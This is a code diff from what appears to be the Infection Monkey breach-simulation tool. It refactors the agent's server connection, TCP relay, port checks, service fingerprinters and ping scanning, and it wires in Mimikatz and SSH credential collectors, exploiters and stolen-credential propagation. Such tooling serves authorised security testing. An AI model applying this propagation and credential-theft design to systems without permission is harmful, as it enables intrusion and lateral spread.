add_stolen_credentials_to_propagation_credentials_repository,
notify_relay_on_propagation,
)
from infection_monkey.config import GUID from infection_monkey.config import GUID
from infection_monkey.control import ControlClient from infection_monkey.control import ControlClient
from infection_monkey.credential_collectors import ( from infection_monkey.credential_collectors import (
@ -35,6 +33,7 @@ from infection_monkey.credential_collectors import (
from infection_monkey.credential_repository import ( from infection_monkey.credential_repository import (
AggregatingPropagationCredentialsRepository, AggregatingPropagationCredentialsRepository,
IPropagationCredentialsRepository, IPropagationCredentialsRepository,
add_credentials_from_event_to_propagation_credentials_repository,
) )
from infection_monkey.exploit import CachingAgentBinaryRepository, ExploiterWrapper from infection_monkey.exploit import CachingAgentBinaryRepository, ExploiterWrapper
from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.hadoop import HadoopExploiter
@ -54,7 +53,6 @@ from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.network.relay import TCPRelay from infection_monkey.network.relay import TCPRelay
from infection_monkey.network.relay.utils import ( from infection_monkey.network.relay.utils import (
IslandAPISearchResults,
find_available_island_apis, find_available_island_apis,
notify_disconnect, notify_disconnect,
send_remove_from_waitlist_control_message_to_relays, send_remove_from_waitlist_control_message_to_relays,
@ -83,15 +81,16 @@ from infection_monkey.puppet.puppet import Puppet
from infection_monkey.system_singleton import SystemSingleton from infection_monkey.system_singleton import SystemSingleton
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
from infection_monkey.telemetry.attack.t1107_telem import T1107Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem
from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messenger import (
ExploitInterceptingTelemetryMessenger,
)
from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import (
LegacyTelemetryMessengerAdapter, LegacyTelemetryMessengerAdapter,
) )
from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.state_telem import StateTelem
from infection_monkey.utils import agent_process
from infection_monkey.utils.aws_environment_check import run_aws_environment_check from infection_monkey.utils.aws_environment_check import run_aws_environment_check
from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.file_utils import mark_file_for_deletion_on_windows from infection_monkey.utils.file_utils import mark_file_for_deletion_on_windows
from infection_monkey.utils.ids import get_agent_id, get_machine_id
from infection_monkey.utils.monkey_dir import ( from infection_monkey.utils.monkey_dir import (
create_monkey_dir, create_monkey_dir,
get_monkey_dir_path, get_monkey_dir_path,
@ -111,25 +110,21 @@ class InfectionMonkey:
self._singleton = SystemSingleton() self._singleton = SystemSingleton()
self._opts = self._get_arguments(args) self._opts = self._get_arguments(args)
self._agent_id = get_agent_id()
self._agent_event_serializer_registry = self._setup_agent_event_serializers() self._agent_event_serializer_registry = self._setup_agent_event_serializers()
self._island_address, self._island_api_client = self._connect_to_island_api() server, self._island_api_client = self._connect_to_island_api()
self._cmd_island_ip = self._island_address.ip # TODO: `address_to_port()` should return the port as an integer.
self._cmd_island_port = self._island_address.port self._cmd_island_ip, self._cmd_island_port = address_to_ip_port(server)
self._cmd_island_port = int(self._cmd_island_port)
self._control_client = ControlClient( self._control_client = ControlClient(
server_address=self._island_address, island_api_client=self._island_api_client server_address=server, island_api_client=self._island_api_client
) )
self._control_channel = ControlChannel(
str(self._island_address), self._agent_id, self._island_api_client
)
self._register_agent()
# TODO Refactor the telemetry messengers to accept control client # TODO Refactor the telemetry messengers to accept control client
# and remove control_client_object # and remove control_client_object
ControlClient.control_client_object = self._control_client ControlClient.control_client_object = self._control_client
self._control_channel = None
self._telemetry_messenger = LegacyTelemetryMessengerAdapter() self._telemetry_messenger = LegacyTelemetryMessengerAdapter()
self._current_depth = self._opts.depth self._current_depth = self._opts.depth
self._master = None self._master = None
@ -139,11 +134,7 @@ class InfectionMonkey:
def _get_arguments(args): def _get_arguments(args):
arg_parser = argparse.ArgumentParser() arg_parser = argparse.ArgumentParser()
arg_parser.add_argument("-p", "--parent") arg_parser.add_argument("-p", "--parent")
arg_parser.add_argument( arg_parser.add_argument("-s", "--servers", type=lambda arg: arg.strip().split(","))
"-s",
"--servers",
type=lambda arg: [SocketAddress.from_string(s) for s in arg.strip().split(",")],
)
arg_parser.add_argument("-d", "--depth", type=positive_int, default=0) arg_parser.add_argument("-d", "--depth", type=positive_int, default=0)
opts = arg_parser.parse_args(args) opts = arg_parser.parse_args(args)
InfectionMonkey._log_arguments(opts) InfectionMonkey._log_arguments(opts)
@ -151,8 +142,8 @@ class InfectionMonkey:
return opts return opts
# TODO: By the time we finish 2292, _connect_to_island_api() may not need to return `server` # TODO: By the time we finish 2292, _connect_to_island_api() may not need to return `server`
def _connect_to_island_api(self) -> Tuple[Optional[SocketAddress], Optional[IIslandAPIClient]]: def _connect_to_island_api(self) -> Tuple[Optional[str], Optional[IIslandAPIClient]]:
logger.debug(f"Trying to wake up with servers: {', '.join(map(str, self._opts.servers))}") logger.debug(f"Trying to wake up with servers: {', '.join(self._opts.servers)}")
server_clients = find_available_island_apis( server_clients = find_available_island_apis(
self._opts.servers, HTTPIslandAPIClientFactory(self._agent_event_serializer_registry) self._opts.servers, HTTPIslandAPIClientFactory(self._agent_event_serializer_registry)
) )
@ -163,8 +154,7 @@ class InfectionMonkey:
logger.info(f"Successfully connected to the island via {server}") logger.info(f"Successfully connected to the island via {server}")
else: else:
raise Exception( raise Exception(
"Failed to connect to the island via any known servers: " f"Failed to connect to the island via any known servers: {self._opts.servers}"
f"[{', '.join(map(str, self._opts.servers))}]"
) )
# NOTE: Since we pass the address for each of our interfaces to the exploited # NOTE: Since we pass the address for each of our interfaces to the exploited
@ -175,30 +165,18 @@ class InfectionMonkey:
return server, island_api_client return server, island_api_client
def _register_agent(self):
agent_registration_data = AgentRegistrationData(
id=self._agent_id,
machine_hardware_id=get_machine_id(),
start_time=agent_process.get_start_time(),
# parent_id=parent,
parent_id=None, # None for now, until we change GUID to UUID
cc_server=self._island_address,
network_interfaces=get_network_interfaces(),
)
self._island_api_client.register_agent(agent_registration_data)
def _select_server( def _select_server(
self, server_clients: IslandAPISearchResults self, server_clients: Mapping[str, Optional[IIslandAPIClient]]
) -> Tuple[Optional[SocketAddress], Optional[IIslandAPIClient]]: ) -> Tuple[Optional[str], Optional[IIslandAPIClient]]:
for server in self._opts.servers: for server in self._opts.servers:
if server_clients[server] is not None: if server_clients[server]:
return server, server_clients[server] return server, server_clients[server]
return None, None return None, None
@staticmethod @staticmethod
def _log_arguments(args): def _log_arguments(args):
arg_string = ", ".join([f"{key}: {value}" for key, value in vars(args).items()]) arg_string = " ".join([f"{key}: {value}" for key, value in vars(args).items()])
logger.info(f"Monkey started with arguments: {arg_string}") logger.info(f"Monkey started with arguments: {arg_string}")
def start(self): def start(self):
@ -217,7 +195,7 @@ class InfectionMonkey:
run_aws_environment_check(self._telemetry_messenger) run_aws_environment_check(self._telemetry_messenger)
should_stop = self._control_channel.should_agent_stop() should_stop = ControlChannel(self._control_client.server_address, GUID).should_agent_stop()
if should_stop: if should_stop:
logger.info("The Monkey Island has instructed this agent to stop") logger.info("The Monkey Island has instructed this agent to stop")
return return
@ -233,21 +211,26 @@ class InfectionMonkey:
if firewall.is_enabled(): if firewall.is_enabled():
firewall.add_firewall_rule() firewall.add_firewall_rule()
self._control_channel = ControlChannel(self._control_client.server_address, GUID)
self._control_channel.register_agent(self._opts.parent)
config = self._control_channel.get_config() config = self._control_channel.get_config()
relay_port = get_free_tcp_port() relay_port = get_free_tcp_port()
self._relay = TCPRelay( self._relay = TCPRelay(
relay_port, relay_port,
self._island_address, IPv4Address(self._cmd_island_ip),
self._cmd_island_port,
client_disconnect_timeout=config.keep_tunnel_open_time, client_disconnect_timeout=config.keep_tunnel_open_time,
) )
relay_servers = [f"{ip}:{relay_port}" for ip in get_my_ip_addresses()]
if not maximum_depth_reached(config.propagation.maximum_depth, self._current_depth): if not maximum_depth_reached(config.propagation.maximum_depth, self._current_depth):
self._relay.start() self._relay.start()
StateTelem(is_done=False, version=get_version()).send() StateTelem(is_done=False, version=get_version()).send()
self._build_master(relay_port) self._build_master(relay_servers)
register_signal_handlers(self._master) register_signal_handlers(self._master)
@ -258,8 +241,7 @@ class InfectionMonkey:
return agent_event_serializer_registry return agent_event_serializer_registry
def _build_master(self, relay_port: int): def _build_master(self, relay_servers: List[str]):
servers = self._build_server_list(relay_port)
local_network_interfaces = get_network_interfaces() local_network_interfaces = get_network_interfaces()
# TODO control_channel and control_client have same responsibilities, merge them # TODO control_channel and control_client have same responsibilities, merge them
@ -267,64 +249,64 @@ class InfectionMonkey:
self._control_channel self._control_channel
) )
agent_event_queue = PyPubSubAgentEventQueue(Publisher()) event_queue = PyPubSubAgentEventQueue(Publisher())
self._subscribe_events( self._subscribe_events(
agent_event_queue, event_queue,
propagation_credentials_repository, propagation_credentials_repository,
self._control_client.server_address,
self._agent_event_serializer_registry, self._agent_event_serializer_registry,
) )
puppet = self._build_puppet(agent_event_queue) puppet = self._build_puppet(event_queue)
victim_host_factory = self._build_victim_host_factory(local_network_interfaces) victim_host_factory = self._build_victim_host_factory(local_network_interfaces)
telemetry_messenger = ExploitInterceptingTelemetryMessenger(
self._telemetry_messenger, self._relay
)
self._master = AutomatedMaster( self._master = AutomatedMaster(
self._current_depth, self._current_depth,
servers, self._opts.servers + relay_servers,
puppet, puppet,
self._telemetry_messenger, telemetry_messenger,
victim_host_factory, victim_host_factory,
self._control_channel, self._control_channel,
local_network_interfaces, local_network_interfaces,
propagation_credentials_repository, propagation_credentials_repository,
) )
def _build_server_list(self, relay_port: int) -> Sequence[str]:
my_servers = set(map(str, self._opts.servers))
relay_servers = {f"{ip}:{relay_port}" for ip in get_my_ip_addresses()}
return list(my_servers.union(relay_servers))
def _subscribe_events( def _subscribe_events(
self, self,
agent_event_queue: IAgentEventQueue, event_queue: IAgentEventQueue,
propagation_credentials_repository: IPropagationCredentialsRepository, propagation_credentials_repository: IPropagationCredentialsRepository,
server_address: str,
agent_event_serializer_registry: AgentEventSerializerRegistry, agent_event_serializer_registry: AgentEventSerializerRegistry,
): ):
agent_event_queue.subscribe_type( event_queue.subscribe_type(
CredentialsStolenEvent, CredentialsStolenEvent,
add_stolen_credentials_to_propagation_credentials_repository( add_credentials_from_event_to_propagation_credentials_repository(
propagation_credentials_repository propagation_credentials_repository
), ),
) )
agent_event_queue.subscribe_all_events( event_queue.subscribe_all_events(
AgentEventForwarder(self._island_api_client, agent_event_serializer_registry).send_event AgentEventForwarder(self._island_api_client, agent_event_serializer_registry).send_event
) )
agent_event_queue.subscribe_type(PropagationEvent, notify_relay_on_propagation(self._relay))
def _build_puppet( def _build_puppet(
self, self,
agent_event_queue: IAgentEventQueue, event_queue: IAgentEventQueue,
) -> IPuppet: ) -> IPuppet:
puppet = Puppet(agent_event_queue) puppet = Puppet()
puppet.load_plugin( puppet.load_plugin(
"MimikatzCollector", "MimikatzCollector",
MimikatzCredentialCollector(agent_event_queue), MimikatzCredentialCollector(event_queue),
PluginType.CREDENTIAL_COLLECTOR, PluginType.CREDENTIAL_COLLECTOR,
) )
puppet.load_plugin( puppet.load_plugin(
"SSHCollector", "SSHCollector",
SSHCredentialCollector(self._telemetry_messenger, agent_event_queue), SSHCredentialCollector(self._telemetry_messenger, event_queue),
PluginType.CREDENTIAL_COLLECTOR, PluginType.CREDENTIAL_COLLECTOR,
) )
@ -338,7 +320,7 @@ class InfectionMonkey:
island_api_client=self._island_api_client, island_api_client=self._island_api_client,
) )
exploit_wrapper = ExploiterWrapper( exploit_wrapper = ExploiterWrapper(
self._telemetry_messenger, agent_event_queue, agent_binary_repository self._telemetry_messenger, event_queue, agent_binary_repository
) )
puppet.load_plugin( puppet.load_plugin(
@ -438,8 +420,8 @@ class InfectionMonkey:
return VictimHostFactory(self._cmd_island_ip, self._cmd_island_port, on_island) return VictimHostFactory(self._cmd_island_ip, self._cmd_island_port, on_island)
def _running_on_island(self, local_network_interfaces: List[IPv4Interface]) -> bool: def _running_on_island(self, local_network_interfaces: List[IPv4Interface]) -> bool:
server_ip = self._control_client.server_address.ip server_ip, _ = address_to_ip_port(self._control_client.server_address)
return server_ip in {interface.ip for interface in local_network_interfaces} return server_ip in {str(interface.ip) for interface in local_network_interfaces}
def _is_another_monkey_running(self): def _is_another_monkey_running(self):
return not self._singleton.try_lock() return not self._singleton.try_lock()
@ -488,17 +470,17 @@ class InfectionMonkey:
def _close_tunnel(self): def _close_tunnel(self):
logger.info(f"Quitting tunnel {self._cmd_island_ip}") logger.info(f"Quitting tunnel {self._cmd_island_ip}")
notify_disconnect(self._island_address) notify_disconnect(self._cmd_island_ip, self._cmd_island_port)
def _send_log(self): def _send_log(self):
monkey_log_path = get_agent_log_path() monkey_log_path = get_agent_log_path()
if monkey_log_path.is_file(): if monkey_log_path.is_file():
with open(monkey_log_path, "r") as f: with open(monkey_log_path, "r") as f:
log_contents = f.read() log = f.read()
else: else:
log_contents = "" log = ""
self._island_api_client.send_log(self._agent_id, log_contents) self._control_client.send_log(log)
@staticmethod @staticmethod
def _self_delete() -> bool: def _self_delete() -> bool:

View File

@ -4,7 +4,7 @@ import struct
from dataclasses import dataclass from dataclasses import dataclass
from random import shuffle # noqa: DUO102 from random import shuffle # noqa: DUO102
from threading import Lock from threading import Lock
from typing import Dict, Optional, Set from typing import Dict, Set
import netifaces import netifaces
import psutil import psutil
@ -25,7 +25,7 @@ RTF_REJECT = 0x0200
@dataclass @dataclass
class NetworkAddress: class NetworkAddress:
ip: str ip: str
domain: Optional[str] domain: str
def get_host_subnets(): def get_host_subnets():

View File

@ -1,10 +1,9 @@
import socket import socket
from ipaddress import IPv4Address
from logging import getLogger from logging import getLogger
from threading import Lock from threading import Lock
from typing import Set from typing import Set
from common.types import SocketAddress
from .consts import SOCKET_TIMEOUT from .consts import SOCKET_TIMEOUT
from .sockets_pipe import SocketsPipe from .sockets_pipe import SocketsPipe
@ -16,9 +15,9 @@ class TCPPipeSpawner:
Creates bi-directional pipes between the configured client and other clients. Creates bi-directional pipes between the configured client and other clients.
""" """
def __init__(self, target_addr: SocketAddress): def __init__(self, target_addr: IPv4Address, target_port: int):
self._target_ip = target_addr.ip self._target_addr = target_addr
self._target_port = target_addr.port self._target_port = target_port
self._pipes: Set[SocketsPipe] = set() self._pipes: Set[SocketsPipe] = set()
self._lock = Lock() self._lock = Lock()
@ -32,7 +31,7 @@ class TCPPipeSpawner:
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM) dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
dest.settimeout(SOCKET_TIMEOUT) dest.settimeout(SOCKET_TIMEOUT)
try: try:
dest.connect((str(self._target_ip), self._target_port)) dest.connect((str(self._target_addr), self._target_port))
except OSError as err: except OSError as err:
source.close() source.close()
dest.close() dest.close()

View File

@ -3,7 +3,6 @@ from logging import getLogger
from threading import Lock, Thread from threading import Lock, Thread
from time import sleep from time import sleep
from common.types import SocketAddress
from infection_monkey.network.relay import ( from infection_monkey.network.relay import (
RelayConnectionHandler, RelayConnectionHandler,
RelayUserHandler, RelayUserHandler,
@ -23,14 +22,15 @@ class TCPRelay(Thread, InterruptableThreadMixin):
def __init__( def __init__(
self, self,
relay_port: int, relay_port: int,
dest_address: SocketAddress, dest_addr: IPv4Address,
dest_port: int,
client_disconnect_timeout: float, client_disconnect_timeout: float,
): ):
self._user_handler = RelayUserHandler( self._user_handler = RelayUserHandler(
new_client_timeout=client_disconnect_timeout, new_client_timeout=client_disconnect_timeout,
client_disconnect_timeout=client_disconnect_timeout, client_disconnect_timeout=client_disconnect_timeout,
) )
self._pipe_spawner = TCPPipeSpawner(dest_address) self._pipe_spawner = TCPPipeSpawner(dest_addr, dest_port)
relay_filter = RelayConnectionHandler(self._pipe_spawner, self._user_handler) relay_filter = RelayConnectionHandler(self._pipe_spawner, self._user_handler)
self._connection_handler = TCPConnectionHandler( self._connection_handler = TCPConnectionHandler(
bind_host="", bind_host="",

View File

@ -1,10 +1,11 @@
import logging import logging
import socket import socket
from contextlib import suppress from contextlib import suppress
from typing import Dict, Iterable, Iterator, Optional from ipaddress import IPv4Address
from typing import Dict, Iterable, Iterator, Mapping, MutableMapping, Optional, Tuple
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.types import SocketAddress from common.network.network_utils import address_to_ip_port
from infection_monkey.island_api_client import ( from infection_monkey.island_api_client import (
AbstractIslandAPIClientFactory, AbstractIslandAPIClientFactory,
IIslandAPIClient, IIslandAPIClient,
@ -26,15 +27,12 @@ logger = logging.getLogger(__name__)
NUM_FIND_SERVER_WORKERS = 32 NUM_FIND_SERVER_WORKERS = 32
IslandAPISearchResults = Dict[SocketAddress, Optional[IIslandAPIClient]]
def find_available_island_apis( def find_available_island_apis(
servers: Iterable[SocketAddress], island_api_client_factory: AbstractIslandAPIClientFactory servers: Iterable[str], island_api_client_factory: AbstractIslandAPIClientFactory
) -> IslandAPISearchResults: ) -> Mapping[str, Optional[IIslandAPIClient]]:
server_list = list(servers) server_list = list(servers)
server_iterator = ThreadSafeIterator(server_list.__iter__()) server_iterator = ThreadSafeIterator(server_list.__iter__())
server_results: IslandAPISearchResults = {} server_results: Dict[str, Tuple[bool, IIslandAPIClient]] = {}
run_worker_threads( run_worker_threads(
_find_island_server, _find_island_server,
@ -47,18 +45,18 @@ def find_available_island_apis(
def _find_island_server( def _find_island_server(
servers: Iterator[SocketAddress], servers: Iterator[str],
server_results: IslandAPISearchResults, server_status: MutableMapping[str, Optional[IIslandAPIClient]],
island_api_client_factory: AbstractIslandAPIClientFactory, island_api_client_factory: AbstractIslandAPIClientFactory,
): ):
with suppress(StopIteration): with suppress(StopIteration):
server = next(servers) server = next(servers)
server_results[server] = _check_if_island_server(server, island_api_client_factory) server_status[server] = _check_if_island_server(server, island_api_client_factory)
def _check_if_island_server( def _check_if_island_server(
server: SocketAddress, island_api_client_factory: AbstractIslandAPIClientFactory server: str, island_api_client_factory: AbstractIslandAPIClientFactory
) -> Optional[IIslandAPIClient]: ) -> IIslandAPIClient:
logger.debug(f"Trying to connect to server: {server}") logger.debug(f"Trying to connect to server: {server}")
try: try:
@ -78,28 +76,34 @@ def _check_if_island_server(
return None return None
def send_remove_from_waitlist_control_message_to_relays(servers: Iterable[SocketAddress]): def send_remove_from_waitlist_control_message_to_relays(servers: Iterable[str]):
for i, server in enumerate(servers, start=1): for i, server in enumerate(servers, start=1):
t = create_daemon_thread( t = create_daemon_thread(
target=notify_disconnect, target=_send_remove_from_waitlist_control_message_to_relay,
name=f"SendRemoveFromWaitlistControlMessageToRelaysThread-{i:02d}", name=f"SendRemoveFromWaitlistControlMessageToRelaysThread-{i:02d}",
args=(server,), args=(server,),
) )
t.start() t.start()
def notify_disconnect(server_address: SocketAddress): def _send_remove_from_waitlist_control_message_to_relay(server: str):
""" ip, port = address_to_ip_port(server)
Tell upstream relay that we no longer need the relay notify_disconnect(IPv4Address(ip), int(port))
:param server_address: The address of the server to notify
def notify_disconnect(server_ip: IPv4Address, server_port: int):
"""
Tell upstream relay that we no longer need the relay.
:param server_ip: The IP address of the server to notify.
:param server_port: The port of the server to notify.
""" """
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as d_socket: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as d_socket:
d_socket.settimeout(LONG_REQUEST_TIMEOUT) d_socket.settimeout(LONG_REQUEST_TIMEOUT)
try: try:
d_socket.connect((str(server_address.ip), server_address.port)) d_socket.connect((str(server_ip), server_port))
d_socket.sendall(RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST) d_socket.sendall(RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST)
logger.info(f"Control message was sent to the server/relay {server_address}") logger.info(f"Control message was sent to the server/relay {server_ip}:{server_port}")
except OSError as err: except OSError as err:
logger.error(f"Error connecting to socket {server_address}: {err}") logger.error(f"Error connecting to socket {server_ip}:{server_port}: {err}")

View File

@ -3,8 +3,6 @@ import select
import socket import socket
import struct import struct
import sys import sys
from ipaddress import IPv4Address
from typing import Optional
from common.common_consts.timeouts import CONNECTION_TIMEOUT from common.common_consts.timeouts import CONNECTION_TIMEOUT
from infection_monkey.network.info import get_routes from infection_monkey.network.info import get_routes
@ -15,7 +13,7 @@ BANNER_READ = 1024
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_banner=False): def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
""" """
Checks if a given TCP port is open Checks if a given TCP port is open
:param ip: Target IP :param ip: Target IP
@ -28,7 +26,7 @@ def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_bann
sock.settimeout(timeout) sock.settimeout(timeout)
try: try:
sock.connect((str(ip), port)) sock.connect((ip, port))
except socket.timeout: except socket.timeout:
return False, None return False, None
except socket.error as exc: except socket.error as exc:
@ -53,7 +51,7 @@ def tcp_port_to_service(port):
return "tcp-" + str(port) return "tcp-" + str(port)
def get_interface_to_target(dst: str) -> Optional[str]: def get_interface_to_target(dst):
""" """
:param dst: destination IP address string without port. E.G. '192.168.1.1.' :param dst: destination IP address string without port. E.G. '192.168.1.1.'
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.' :return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'

View File

@ -5,8 +5,13 @@ from typing import Any, Dict
import requests import requests
from common.common_consts.network_consts import ES_SERVICE from common.common_consts.network_consts import ES_SERVICE
from common.types import PingScanData, PortStatus from infection_monkey.i_puppet import (
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData FingerprintData,
IFingerprinter,
PingScanData,
PortScanData,
PortStatus,
)
DISPLAY_NAME = "ElasticSearch" DISPLAY_NAME = "ElasticSearch"
ES_PORT = 9200 ES_PORT = 9200
@ -26,10 +31,10 @@ class ElasticSearchFingerprinter(IFingerprinter):
port_scan_data: Dict[int, PortScanData], port_scan_data: Dict[int, PortScanData],
_options: Dict, _options: Dict,
) -> FingerprintData: ) -> FingerprintData:
services = {} services: Dict[str, Any] = {}
if (ES_PORT not in port_scan_data) or (port_scan_data[ES_PORT].status != PortStatus.OPEN): if (ES_PORT not in port_scan_data) or (port_scan_data[ES_PORT].status != PortStatus.OPEN):
return FingerprintData(None, None, services) return FingerprintData(None, "", services)
try: try:
elasticsearch_info = _query_elasticsearch(host) elasticsearch_info = _query_elasticsearch(host)
@ -37,7 +42,7 @@ class ElasticSearchFingerprinter(IFingerprinter):
except Exception as ex: except Exception as ex:
logger.debug(f"Did not detect an ElasticSearch cluster: {ex}") logger.debug(f"Did not detect an ElasticSearch cluster: {ex}")
return FingerprintData(None, None, services) return FingerprintData(None, "", services)
def _query_elasticsearch(host: str) -> Dict[str, Any]: def _query_elasticsearch(host: str) -> Dict[str, Any]:

View File

@ -1,12 +1,17 @@
import logging import logging
from contextlib import closing from contextlib import closing
from typing import Any, Dict, Iterable, Optional, Set, Tuple from typing import Any, Dict, Iterable, Mapping, Optional, Set, Tuple
from requests import head from requests import head
from requests.exceptions import ConnectionError, Timeout from requests.exceptions import ConnectionError, Timeout
from common.types import PingScanData, PortStatus from infection_monkey.i_puppet import (
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData FingerprintData,
IFingerprinter,
PingScanData,
PortScanData,
PortStatus,
)
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -41,7 +46,7 @@ class HTTPFingerprinter(IFingerprinter):
"data": (server_header_contents, ssl), "data": (server_header_contents, ssl),
} }
return FingerprintData(None, None, services) return FingerprintData(None, "", services)
def _query_potential_http_server(host: str, port: int) -> Tuple[Optional[str], Optional[bool]]: def _query_potential_http_server(host: str, port: int) -> Tuple[Optional[str], Optional[bool]]:
@ -66,7 +71,7 @@ def _get_server_from_headers(url: str) -> Optional[str]:
return None return None
def _get_http_headers(url: str) -> Optional[Dict[str, Any]]: def _get_http_headers(url: str) -> Optional[Mapping[str, Any]]:
try: try:
logger.debug(f"Sending request for headers to {url}") logger.debug(f"Sending request for headers to {url}")
with closing(head(url, verify=False, timeout=1)) as response: # noqa: DUO123 with closing(head(url, verify=False, timeout=1)) as response: # noqa: DUO123

View File

@ -1,10 +1,9 @@
import errno import errno
import logging import logging
import socket import socket
from typing import Any, Dict, Optional from typing import Any, Dict
from common.types import PingScanData from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
MSSQL_SERVICE = "MSSQL" MSSQL_SERVICE = "MSSQL"
DISPLAY_NAME = MSSQL_SERVICE DISPLAY_NAME = MSSQL_SERVICE
@ -33,10 +32,10 @@ class MSSQLFingerprinter(IFingerprinter):
except Exception as ex: except Exception as ex:
logger.debug(f"Did not detect an MSSQL server: {ex}") logger.debug(f"Did not detect an MSSQL server: {ex}")
return FingerprintData(None, None, services) return FingerprintData(None, "", services)
def _query_mssql_for_instance_data(host: str) -> Optional[bytes]: def _query_mssql_for_instance_data(host: str) -> bytes:
# Create a UDP socket and sets a timeout # Create a UDP socket and sets a timeout
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(_MSSQL_SOCKET_TIMEOUT) sock.settimeout(_MSSQL_SOCKET_TIMEOUT)
@ -45,22 +44,20 @@ def _query_mssql_for_instance_data(host: str) -> Optional[bytes]:
# The message is a CLNT_UCAST_EX packet to get all instances # The message is a CLNT_UCAST_EX packet to get all instances
# https://msdn.microsoft.com/en-us/library/cc219745.aspx # https://msdn.microsoft.com/en-us/library/cc219745.aspx
message = "\x03" message_str = "\x03"
# Encode the message as a bytes array # Encode the message as a bytes array
message = message.encode() message = message_str.encode()
# send data and receive response # send data and receive response
try: try:
logger.info(f"Sending message to requested host: {host}, {message}") logger.info(f"Sending message to requested host: {host}, {message_str}")
sock.sendto(message, server_address) sock.sendto(message, server_address)
data, _ = sock.recvfrom(_BUFFER_SIZE) data, _ = sock.recvfrom(_BUFFER_SIZE)
return data return data
except socket.timeout as err: except socket.timeout as err:
logger.debug( logger.debug(f"Socket timeout reached, maybe browser service on host: {host} doesn't exist")
f"Socket timeout reached, maybe browser service on host: {host} doesnt " "exist"
)
raise err raise err
except socket.error as err: except socket.error as err:
if err.errno == errno.ECONNRESET: if err.errno == errno.ECONNRESET:
@ -79,7 +76,7 @@ def _query_mssql_for_instance_data(host: str) -> Optional[bytes]:
def _get_services_from_server_data(data: bytes) -> Dict[str, Any]: def _get_services_from_server_data(data: bytes) -> Dict[str, Any]:
services = {MSSQL_SERVICE: {}} services: Dict[str, Any] = {MSSQL_SERVICE: {}}
services[MSSQL_SERVICE]["display_name"] = DISPLAY_NAME services[MSSQL_SERVICE]["display_name"] = DISPLAY_NAME
services[MSSQL_SERVICE]["port"] = SQL_BROWSER_DEFAULT_PORT services[MSSQL_SERVICE]["port"] = SQL_BROWSER_DEFAULT_PORT

View File

@ -4,16 +4,10 @@ import os
import re import re
import subprocess import subprocess
import sys import sys
from ipaddress import IPv4Address
from time import time
from typing import Tuple
from common import OperatingSystem from common import OperatingSystem
from common.agent_events import PingScanEvent from infection_monkey.i_puppet import PingScanData
from common.event_queue import IAgentEventQueue
from common.types import PingScanData
from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.ids import get_agent_id
TTL_REGEX = re.compile(r"TTL=([0-9]+)\b", re.IGNORECASE) TTL_REGEX = re.compile(r"TTL=([0-9]+)\b", re.IGNORECASE)
LINUX_TTL = 64 # Windows TTL is 128 LINUX_TTL = 64 # Windows TTL is 128
@ -23,30 +17,27 @@ EMPTY_PING_SCAN = PingScanData(False, None)
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
def ping(host: str, timeout: float, agent_event_queue: IAgentEventQueue) -> PingScanData: def ping(host: str, timeout: float) -> PingScanData:
try: try:
return _ping(host, timeout, agent_event_queue) return _ping(host, timeout)
except Exception: except Exception:
logger.exception("Unhandled exception occurred while running ping") logger.exception("Unhandled exception occurred while running ping")
return EMPTY_PING_SCAN return EMPTY_PING_SCAN
def _ping(host: str, timeout: float, agent_event_queue: IAgentEventQueue) -> PingScanData: def _ping(host: str, timeout: float) -> PingScanData:
if is_windows_os(): if is_windows_os():
timeout = math.floor(timeout * 1000) timeout = math.floor(timeout * 1000)
event_timestamp, ping_command_output = _run_ping_command(host, timeout) ping_command_output = _run_ping_command(host, timeout)
ping_scan_data = _process_ping_command_output(ping_command_output) ping_scan_data = _process_ping_command_output(ping_command_output)
logger.debug(f"{host} - {ping_scan_data}") logger.debug(f"{host} - {ping_scan_data}")
ping_scan_event = _generate_ping_scan_event(host, ping_scan_data, event_timestamp)
agent_event_queue.publish(ping_scan_event)
return ping_scan_data return ping_scan_data
def _run_ping_command(host: str, timeout: float) -> Tuple[float, str]: def _run_ping_command(host: str, timeout: float) -> str:
ping_cmd = _build_ping_command(host, timeout) ping_cmd = _build_ping_command(host, timeout)
logger.debug(f"Running ping command: {' '.join(ping_cmd)}") logger.debug(f"Running ping command: {' '.join(ping_cmd)}")
@ -54,8 +45,6 @@ def _run_ping_command(host: str, timeout: float) -> Tuple[float, str]:
# of os.device_encoding(1) will be None. Setting errors="backslashreplace" prevents a crash # of os.device_encoding(1) will be None. Setting errors="backslashreplace" prevents a crash
